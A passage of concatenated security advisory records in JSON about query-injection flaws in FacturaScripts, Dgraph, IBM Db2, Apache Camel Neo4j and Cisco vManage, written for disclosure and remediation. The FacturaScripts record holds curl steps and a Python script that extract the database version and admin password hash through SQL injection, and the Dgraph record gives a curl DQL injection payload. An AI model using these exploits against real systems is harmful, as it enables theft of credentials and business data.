`action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" \\\n  -d \"fsPassword=admin\" \\\n  -d \"action=login\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=version()\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=concat(user(),\u0027 @ \u0027,database())\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027)\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=password\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: \u0141ukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n    \"\"\"Extract CSRF token from page\"\"\"\n    response = session.get(url)\n    match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, response.text)\n    return match.group(1) if match else None\n\ndef login():\n    \"\"\"Authenticate to FacturaScripts\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    token = get_csrf_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get CSRF token\")\n        exit()\n\n    data = {\n        \"multireqtoken\": token,\n        \"action\": \"login\",\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD\n    }\n    response = session.post(f\"{BASE_URL}/login\", data=data)\n\n    if \"Dashboard\" not in response.text:\n        print(\"[!] Login failed!\")\n        exit()\n    print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n    \"\"\"Execute SQL injection through autocomplete\"\"\"\n    data = {\n        \"action\": \"autocomplete\",\n        \"source\": source,\n        \"fieldcode\": field_code,\n        \"fieldtitle\": field_payload,\n        \"term\": term\n    }\n    response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n    try:\n        return response.json()\n    except:\n        return None\n\ndef main():\n    login()\n\n    print(\"\\n\" + \"=\"*60)\n    print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n    print(\"=\"*60 + \"\\n\")\n\n    # 1. Database version\n    print(\"[*] Extracting database version...\")\n    res = exploit_sqli(\"version()\")\n    if res:\n        print(f\"[+] Database Version: {res[0][\u0027value\u0027]}\")\n\n    # 2. Current user and database\n    print(\"[*] Extracting DB user and database name...\")\n    res = exploit_sqli(\"concat(user(),\u0027 @ \u0027,database())\")\n    if res:\n        print(f\"[+] DB User @ Database: {res[0][\u0027value\u0027]}\")\n\n    # 3. Admin password hash\n    print(\"[*] Extracting admin password hash...\")\n    res = exploit_sqli(\"password\", term=\"admin\")\n    if res:\n        print(f\"[+] Admin Password Hash: {res[0][\u0027value\u0027]}\")\n\n    # 4. All table names\n    print(\"[*] Extracting table names...\")\n    res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n    if res:\n        print(f\"[+] Tables: {res[0][\u0027value\u0027]}\")\n\n    print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" /\u003e\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n  - User credentials (password hashes)\n  - Customer information (names, addresses, tax IDs, etc.)\n  - Financial records (invoices, payments, bank details)\n  - Business logic and configuration data\n  - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ... validation code ...\n\n    // Validate and escape identifiers\n    $safeTableName = self::db()-\u003eescapeColumn($tableName);\n    $safeFieldCode = self::db()-\u003eescapeColumn($fieldCode);\n    $safeFieldDescription = self::db()-\u003eescapeColumn($fieldDescription);\n\n    // Use parameterized query\n    $sql = \u0027SELECT DISTINCT \u0027 . $safeFieldCode . \u0027 AS code, \u0027 . $safeFieldDescription . \u0027 AS description \u0027\n        . \u0027FROM \u0027 . $safeTableName . Where::multiSqlLegacy($where) . \u0027 ORDER BY 2 ASC\u0027;\n\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
  "id": "GHSA-pqqg-5f4f-8952",
  "modified": "2026-02-04T21:57:23Z",
  "published": "2026-02-03T18:17:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FacturaScripts has SQL Injection in Autocomplete Actions"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-31882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-14T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 is vulnerable to a denial of service, under specific configurations, as the server may crash when using a specially crafted SQL statement by an authenticated user.  IBM X-Force ID:  287614.",
  "id": "GHSA-pwhp-4qxf-7ff6",
  "modified": "2025-11-04T18:31:17Z",
  "published": "2024-08-14T18:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31882"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/287614"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240912-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7165338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.3.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-29T22:53:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `checkUserPassword` GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL `checkpwd()` query via `fmt.Sprintf` without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.\n\n## Details\n\n### Vulnerable Code Path\n\nThe vulnerability exists in the GraphQL-to-DQL query rewriting layer:\n\n1. **`query_rewriter.go` (~line 364)** \u2014 The `checkpwd()` DQL function is constructed using `fmt.Sprintf`:\n\n   ```go\n   fmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n   ```\n\n   The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.\n\n2. **`graphquery.go`** \u2014 The constructed query attribute is serialized into the final DQL string via `b.WriteString(query.Attr)`, passing the unsanitized content directly to the Dgraph query engine.\n\n### Attack Mechanism\n\nA password value containing a double-quote (`\"`) terminates the string literal in the `checkpwd()` function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.\n\n### Distinction from CVE-2026-41328 and CVE-2026-41327\n\nCVE-2026-41328 and CVE-2026-41327 address DQL injection in **`edgraph/server.go`**, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.\n\nThis vulnerability is in a **completely different code path** \u2014 the **GraphQL query rewriter** (`query_rewriter.go` \u2192 `graphquery.go`). The `checkUserPassword` GraphQL query triggers a DQL *query* via `checkpwd()`, and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.\n\n## PoC\n\n```bash\ncurl -s -X POST http://TARGET:8080/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{ \"query\": \"query { checkUserPassword(name: \\\"admin\\\", password: \\\"x\\\\\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\\\\\"x\\\") { msg } }\") { msg } }\" }\u0027\n```\n\n**What to observe:**\n\n- The `touched_uids` field in the `extensions` section of the response will be elevated (indicating the injected blocks executed)\n- Dgraph server logs (`dgraph alpha` output) will show the injected query blocks being parsed and executed\n- The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed\n\n## Impact\n\n- **Data enumeration**: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via `touched_uids` metrics and server logs.\n- **Schema discovery**: An attacker can enumerate all predicates and types in the database by injecting `schema {}` blocks or `has()` queries.\n- **Resource exhaustion**: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.\n- **Potential data disclosure**: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.\n\n**CVSS 3.1: 7.5 High** \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- Network-accessible via any GraphQL endpoint\n- No authentication required (`checkUserPassword` is an unauthenticated query)\n- Low attack complexity (single crafted HTTP request)\n- High confidentiality impact (server-side query execution confirmed, data enumeration possible)\n\n## Affected Versions\n\nAll versions of Dgraph that include GraphQL support with the `@secret` directive are affected:\n\n- \u003c= v25.3.3\n- Any version where `query_rewriter.go` constructs `checkpwd()` via string interpolation\n\n## Suggested Fix\n\nEscape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:\n\n```go\n// Before (vulnerable):\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n\n// After (escaped):\nescaped := strings.ReplaceAll(password, `\\`, `\\\\`)\nescaped = strings.ReplaceAll(escaped, `\"`, `\\\"`)\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, escaped)\n```\n\nIdeally, Dgraph should implement parameterized query support for the `checkpwd()` function to avoid string interpolation entirely, consistent with best practices for injection prevention.\n\n## Credit\n\nKai Aizen (kai.aizen.dev@gmail.com)",
  "id": "GHSA-q2m9-6jp9-c6mc",
  "modified": "2026-06-29T22:53:52Z",
  "published": "2026-06-29T22:53:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-q2m9-6jp9-c6mc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/commit/cee702c93f141eeb0c96a81f70830ec9e459efac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.10.0"
            },
            {
              "fixed": "4.14.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.15.0"
            },
            {
              "fixed": "4.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-neo4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.19.0"
            },
            {
              "fixed": "4.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:31:21Z",
    "nvd_published_at": "2026-07-06T09:16:37Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4j component.\n\nThe camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header.\nThis issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]*$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel* / camel* headers so the match header cannot be supplied by an external sender.",
  "id": "GHSA-q86m-qjpm-vqcw",
  "modified": "2026-08-28T19:31:21Z",
  "published": "2026-07-06T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/7881d949c40befcc602016dcce25a2fb38d070ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/865d0b8b99f969e06ec6275b69c72670b5763245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/bb4176fe87dc0cc60a5be37a57b69b8c610c1dd2"
    },
    {
      "type": "WEB",
      "url": "https://camel.apache.org/security/CVE-2026-46591.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4jrw-64vr-7g8m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/camel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.14.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.18.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.21.0"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/CAMEL-23528"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Camel-Neo4j: JSON property names from the CamelNeo4jMatchProperties header are interpolated into the Cypher WHERE clause without validation, allowing Cypher injection (incomplete remediation of CVE-2025-66169)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-1349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-20T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "\n A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system.\n The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.\n ",
  "id": "GHSA-qj6x-mqqf-cv4q",
  "modified": "2022-09-21T00:00:42Z",
  "published": "2022-05-24T17:39:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1349"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-cql-inject-72EhnUc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}